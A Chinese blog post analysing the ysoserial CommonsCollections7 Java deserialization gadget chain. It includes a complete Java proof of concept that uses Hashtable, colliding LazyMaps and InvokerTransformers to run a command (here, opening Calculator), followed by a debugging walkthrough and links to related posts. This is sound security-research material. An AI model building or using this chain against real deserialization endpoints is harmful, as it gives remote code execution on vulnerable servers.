Ysoserial Commons Collections7分析

写在前面

CommonsCollections Gadget Chains CommonsCollection Version JDK Version Note
CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用)
CommonsCollections2 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections3 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用) javassist
CommonsCollections4 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections5 CommonsCollections 3.1 - 3.2.1 1.8 8u76(实测8u181也可)
CommonsCollections6 CommonsCollections 3.1 - 3.2.1 暂无限制
CommonsCollections7 CommonsCollections 3.1 - 3.2.1 暂无限制

CC7和CC1差不多,只是触发LazyMap.get()的方式不一样,反序列化的入口点变成了Hashtable类

Payload method chain: 因为chain发生了一些变化,这里贴出来先留个印象,放便后续调试时理解

  java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap; import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map; public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { // Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"open -a Calculator"}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)}; Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}

PoC分析

前面部分基本都是CC1的老内容了,主要看下后面有关于Hashtable部分,主要是下面的一段代码

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

首先new了两个HashMap对象,之后分别利用这两个对象作为参数通过LazyMap.decorate()方法new了两个LazyMap对象

抛出问题:注意这里的LazyMap中的yyzZ,这个命名是有说法的。

reconstitutionPut方法中,可以看到zZyy的hash是一样的,但是重点在于index的值,如果不符合语法会导致无法进入for循环也就触发不了后续的利用链

(transformerChain是new的一个空ChainedTransformer对象)后续将这两个LazyMap对象作为参数传入hashtable.put()方法并put两次。抛出问题:为什么要put两次?

调试时发现在Hashtable#readObject()方法有如下一个循环,在这个for循环中去调用的reconstitutionPut方法

第一次循环调用reconstitutionPut方法时并不会走进chain中提到的equals方法,因为tab[index]的值是0,后面才会对tab[index]进行赋值。

第二次才能进入for循环进而调用if判断中的equals方法,这也是为什么hashtable要put两次的原因

调试分析

Hashtable#readObject()下断点,debug,跟进到reconstitutionPut方法

上面也提到了,第一次循环时并不能进入equals方法,这里略去,直接跟进到第二次循环的时候,调用的是LazyMap#equals方法,继续跟进,这里调用的其实是org/apache/commons/collections/map/AbstractMapDecorator的equals方法

调用AbstractMapequals方法

AbstractMap#equals()方法中最终调用了LazyMap.get()

后续就是进入ChainedTransformer#transform()方法,老生常谈的东西了,最终是在InvokerTransformer#transform()中反射调用exec执行命令

END

至此CC1-7就都分析完了,后面几个链分析的内容比较少,大部分都是前面的内容如果觉得不详细可以看之前写的CC1-3的文章,基本都涵盖了后面分析时没深入写的老生常谈的东西。后续应该会去跟一下ysoserial的源码,虽然之前分析URLDNS的时候就简单看过如何生成payload。但是分析cc的时候就没用ysoserial项目的源码(因为封装的太多了:D)之后可能会把CC8-10拿出来写成ysoserial的payload放进去。

Reference

https://www.anquanke.com/post/id/248169

https://www.cnblogs.com/nice0e3/

Ysoserial Commons Collections7分析的更多相关文章

  1. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  2. Ysoserial Commons Collections2分析

    Ysoserial Commons Collections2分析 About Commons Collections2 CC2与CC1不同在于CC2用的是Commons Collections4.0; ...

  3. Ysoserial Commons Collections3分析

    Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

  4. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

  5. Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...

  6. Java安全之Commons Collections1分析(二)

    Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...

  7. Java安全之Commons Collections1分析(一)

    Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...

  8. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  9. Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...

随机推荐

  1. ASH数据的迁移:导出导入

    自己写的小工具: 查看帮助 [oracle@redhat76 2]$ ./orash Usage: sh orash keyword [value1] [value2] --------------- ...

  2. 【算法】使用Golang实现加权负载均衡算法

    背景描述 如下图所示,负载均衡做为反向代理,将请求方的请求转发至后端的服务节点,实现服务的请求. 在nginx中可以通过upstream配置server时,设置weight表示对应server的权重. ...

  3. python实现分水岭算法分割遥感图像

    1. 定义 分水岭算法(watershed algorithm)可以将图像中的边缘转化为"山脉",将均匀区域转化为"山谷",在这方面有助于分割目标. 分水岭算法 ...

  4. 20210811 Dove 打扑克,Cicada 与排序,Cicada 拿衣服

    考场 开考感觉 T3 比较可做.T1 看上去不难但毫无思路. 先想了 25min T3,想到一个确定左端点,二分最长的右端点,甚至想到了用猫树维护区间 or and...上厕所回来发现假了,没有单调性 ...

  5. 【机器学习|数学基础】Mathematics for Machine Learning系列之线性代数(1):二阶与三阶行列式、全排列及其逆序数

    @ 目录 前言 二阶与三阶行列式 二阶行列式 三阶行列式 全排列及其逆序数 全排列 逆序数 结语 前言 Hello!小伙伴! 非常感谢您阅读海轰的文章,倘若文中有错误的地方,欢迎您指出-   自我介绍 ...

  6. 测试开发【提测平台】分享9-DBUntils优化数据连接&实现应用搜索和分页功能

    微信搜索[大奇测试开],关注这个坚持分享测试开发干货的家伙. 从本期开始知识点讲以思维导图的形式给出,内容点会按照讲解-应用-展示的形式体现,这样会更清晰些. DBUntils连接池 在项目中链接数据 ...

  7. key存活时间和五个类型通用的一些指令操作

    一.设置key的存活时间 1.失效后 ttl 是 -2,get返回 null : 2.不设置存活时候 ttl 返回是 -1: 二.查找指令和删除指令.重命名key.查看key类型 1.模糊查询 2.严 ...

  8. bean.xml配置数据源和读取配置文件配置数据源

    一.bean.xml配置数据源 bean.xml装配bean,依赖注入其属性的时候,对应实体类中属性一定要有set方法, 二.读取配置文件配置数据源 1.配置文件 bean.xml配置: classp ...

  9. 如何在云效流水线 Flow中构建属于自己的NPM仓库

    如何在云效流水线 Flow中构建属于自己的NPM仓库,Flow 通过各种构建组件,对各种语言提供了制品打包能力,让用户可以快速的使用流水线构建制品,并通过后续的部署任务进行部署.Flow 已经完成了与 ...

  10. TP6生成url

    和TP5生成url方式有区别, 在控制器里 需要加上 ->build(), 如 url('index/arc/list')->build(); 如果是多域名还需要指定域名,如不想加域名可以 ...